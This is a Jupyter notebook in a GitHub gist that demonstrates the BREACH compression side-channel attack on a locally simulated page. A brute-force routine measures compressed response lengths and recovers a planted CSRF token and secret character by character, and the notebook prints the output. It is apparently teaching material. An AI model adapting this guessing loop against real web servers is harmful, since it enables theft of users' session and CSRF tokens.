Skip to content

Instantly share code, notes, and snippets.

@drocco007
Created September 12, 2020 02:44
Show Gist options
  • Save drocco007/67e8afc8553e32c0b12e6474ac18c4b5 to your computer and use it in GitHub Desktop.
Save drocco007/67e8afc8553e32c0b12e6474ac18c4b5 to your computer and use it in GitHub Desktop.
Display the source blob
Display the rendered blob
Raw
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"BREACH\n",
"======"
]
},
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"'3.8.2 (default, Jul 16 2020, 14:00:26) \\n[GCC 9.3.0]'"
]
},
"execution_count": 1,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"import sys\n",
"sys.version"
]
},
{
"cell_type": "code",
"execution_count": 2,
"metadata": {},
"outputs": [],
"source": [
"import string\n",
"import zlib"
]
},
{
"cell_type": "code",
"execution_count": 3,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"b'x\\x9c+I-.\\x01\\x00\\x04]\\x01\\xc1'"
]
},
"execution_count": 3,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"zlib.compress(b'test')"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"BREACH vulnerability requires that the server\n",
"\n",
"* compresses dynamic responses\n",
"* includes a valuable data on the page (e.g. CSRF token)\n",
"* reflects a value supplied by the user in the response\n"
]
},
{
"cell_type": "code",
"execution_count": 4,
"metadata": {},
"outputs": [],
"source": [
"site_text = b'''The quick brown fox jumped over the lazy dog.\n",
"\n",
"Lorem ipsum dolor sit amet.\n",
"\n",
"(shhh! secret=\"0xdeadbeef\")\n",
"\n",
"Click here to send me bitcoin.\n",
"\n",
"Bacon jalape\\xc3\\xb1o pork jowl.\n",
"\n",
"(shhh! csrf=\"0xFE8103B8\")\n",
"\n",
"<li id=\"notebook_tour\" title=\"A quick tour of the notebook user interface\"><a href=\"#\">User Interface Tour</a></li>\n",
"<li id=\"keyboard_shortcuts\" title=\"Opens a tooltip with all keyboard shortcuts\"><a href=\"#\">Keyboard Shortcuts</a></li>\n",
"<li id=\"edit_keyboard_shortcuts\" title=\"Opens a dialog allowing you to edit Keyboard shortcuts\"><a href=\"#\">Edit Keyboard Shortcuts</a></li>\n",
"<li class=\"divider\"></li>\n",
"\n",
"You said: %s\n",
"'''"
]
},
{
"cell_type": "code",
"execution_count": 5,
"metadata": {},
"outputs": [],
"source": [
"def sucker_punch(attack_text):\n",
" # Send the server some text, which it will reflect in its response\n",
" # As the attacker, we can only see the _length_ of the result\n",
" \n",
" _len = len(zlib.compress(site_text % attack_text, level=9))\n",
"\n",
" return _len"
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"b'' 335\n",
"b'QWERTY' 341\n",
"b'Click' 338\n",
"b'Click here to send me bitcoin' 339\n"
]
}
],
"source": [
"for example in [b'', b'QWERTY', b'Click', b'Click here to send me bitcoin']:\n",
" print(example, sucker_punch(example))"
]
},
{
"cell_type": "code",
"execution_count": 7,
"metadata": {},
"outputs": [],
"source": [
"alphabet = string.ascii_letters + string.digits\n",
"\n",
"\n",
"def _extend_1(attacks, target_length):\n",
" for letter in alphabet:\n",
" for attack in attacks:\n",
" probe = attack + letter.encode('utf-8')\n",
" result = sucker_punch(probe)\n",
"\n",
" if result <= target_length:\n",
" yield probe\n",
"\n",
" \n",
"def BREACH(attack, rounds):\n",
" target_length = sucker_punch(attack)\n",
" \n",
" result = _extend_1([attack], target_length)\n",
" \n",
" for _ in range(rounds - 1):\n",
" result = _extend_1(list(result), target_length)\n",
" \n",
" return list(result)"
]
},
{
"cell_type": "code",
"execution_count": 8,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[b' csrf=\"a', b' csrf=\"b', b' csrf=\"c', b' csrf=\"d', b' csrf=\"e', b' csrf=\"f', b' csrf=\"h', b' csrf=\"i', b' csrf=\"k', b' csrf=\"l', b' csrf=\"m', b' csrf=\"n', b' csrf=\"o', b' csrf=\"p', b' csrf=\"r', b' csrf=\"s', b' csrf=\"t', b' csrf=\"u', b' csrf=\"w', b' csrf=\"0']\n",
"[b' csrf=\"0a', b' csrf=\"0b', b' csrf=\"0c', b' csrf=\"0d', b' csrf=\"0e', b' csrf=\"0f', b' csrf=\"0g', b' csrf=\"0h', b' csrf=\"0i', b' csrf=\"0j', b' csrf=\"0k', b' csrf=\"0l', b' csrf=\"0m', b' csrf=\"0n', b' csrf=\"0o', b' csrf=\"0p', b' csrf=\"0r', b' csrf=\"0s', b' csrf=\"0t', b' csrf=\"0u', b' csrf=\"0v', b' csrf=\"0w', b' csrf=\"0x', b' csrf=\"0y', b' csrf=\"0B', b' csrf=\"0E', b' csrf=\"0K', b' csrf=\"0T', b' csrf=\"00', b' csrf=\"08']\n",
"[b' csrf=\"0xa', b' csrf=\"0xb', b' csrf=\"0xc', b' csrf=\"0xd', b' csrf=\"0xe', b' csrf=\"0xf', b' csrf=\"0xh', b' csrf=\"0xi', b' csrf=\"0xk', b' csrf=\"0xl', b' csrf=\"0xm', b' csrf=\"0xn', b' csrf=\"0xo', b' csrf=\"0xp', b' csrf=\"0xr', b' csrf=\"0xs', b' csrf=\"0xt', b' csrf=\"0xu', b' csrf=\"0xw', b' csrf=\"0xF']\n",
"[b' csrf=\"0xFa', b' csrf=\"0xFb', b' csrf=\"0xFc', b' csrf=\"0xFd', b' csrf=\"0xFe', b' csrf=\"0xFf', b' csrf=\"0xFh', b' csrf=\"0xFi', b' csrf=\"0xFk', b' csrf=\"0xFl', b' csrf=\"0xFm', b' csrf=\"0xFn', b' csrf=\"0xFo', b' csrf=\"0xFp', b' csrf=\"0xFr', b' csrf=\"0xFs', b' csrf=\"0xFt', b' csrf=\"0xFu', b' csrf=\"0xFw', b' csrf=\"0xFE']\n",
"[b' csrf=\"0xFE8']\n",
"[b' csrf=\"0xFE81']\n",
"[b' csrf=\"0xFE81a', b' csrf=\"0xFE81c', b' csrf=\"0xFE81d', b' csrf=\"0xFE81e', b' csrf=\"0xFE81h', b' csrf=\"0xFE81i', b' csrf=\"0xFE81l', b' csrf=\"0xFE81n', b' csrf=\"0xFE81o', b' csrf=\"0xFE81r', b' csrf=\"0xFE81s', b' csrf=\"0xFE81t', b' csrf=\"0xFE810']\n",
"[b' csrf=\"0xFE810a', b' csrf=\"0xFE810c', b' csrf=\"0xFE810d', b' csrf=\"0xFE810e', b' csrf=\"0xFE810h', b' csrf=\"0xFE810i', b' csrf=\"0xFE810l', b' csrf=\"0xFE810n', b' csrf=\"0xFE810o', b' csrf=\"0xFE810r', b' csrf=\"0xFE810s', b' csrf=\"0xFE810t', b' csrf=\"0xFE8103']\n",
"[b' csrf=\"0xFE8103B']\n",
"[b' csrf=\"0xFE8103B8']\n"
]
}
],
"source": [
"for n in range(1, 11):\n",
" print(BREACH(b' csrf=\"', n))"
]
},
{
"cell_type": "code",
"execution_count": 9,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[b'secret=\"a', b'secret=\"b', b'secret=\"c', b'secret=\"d', b'secret=\"e', b'secret=\"f', b'secret=\"h', b'secret=\"i', b'secret=\"k', b'secret=\"l', b'secret=\"m', b'secret=\"n', b'secret=\"o', b'secret=\"p', b'secret=\"r', b'secret=\"s', b'secret=\"t', b'secret=\"u', b'secret=\"w', b'secret=\"0']\n",
"[b'secret=\"0a', b'secret=\"0b', b'secret=\"0c', b'secret=\"0d', b'secret=\"0e', b'secret=\"0f', b'secret=\"0h', b'secret=\"0i', b'secret=\"0k', b'secret=\"0l', b'secret=\"0m', b'secret=\"0n', b'secret=\"0o', b'secret=\"0p', b'secret=\"0r', b'secret=\"0s', b'secret=\"0t', b'secret=\"0u', b'secret=\"0w', b'secret=\"0x']\n",
"[b'secret=\"0xd']\n",
"[b'secret=\"0xde']\n",
"[b'secret=\"0xdea', b'secret=\"0xdec', b'secret=\"0xded', b'secret=\"0xdee', b'secret=\"0xdeh', b'secret=\"0xdei', b'secret=\"0xdel', b'secret=\"0xden', b'secret=\"0xdeo', b'secret=\"0xder', b'secret=\"0xdes', b'secret=\"0xdet']\n",
"[b'secret=\"0xdeaa', b'secret=\"0xdeac', b'secret=\"0xdead', b'secret=\"0xdeae', b'secret=\"0xdeah', b'secret=\"0xdeai', b'secret=\"0xdeal', b'secret=\"0xdean', b'secret=\"0xdeao', b'secret=\"0xdear', b'secret=\"0xdeas', b'secret=\"0xdeat']\n",
"[b'secret=\"0xdeadb']\n",
"[b'secret=\"0xdeadbe']\n",
"[b'secret=\"0xdeadbee', b'secret=\"0xdeadbet']\n",
"[b'secret=\"0xdeadbeef', b'secret=\"0xdeadbeet']\n"
]
}
],
"source": [
"for n in range(1, 11):\n",
" print(BREACH(b'secret=\"', n))"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.8.2"
}
},
"nbformat": 4,
"nbformat_minor": 4
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment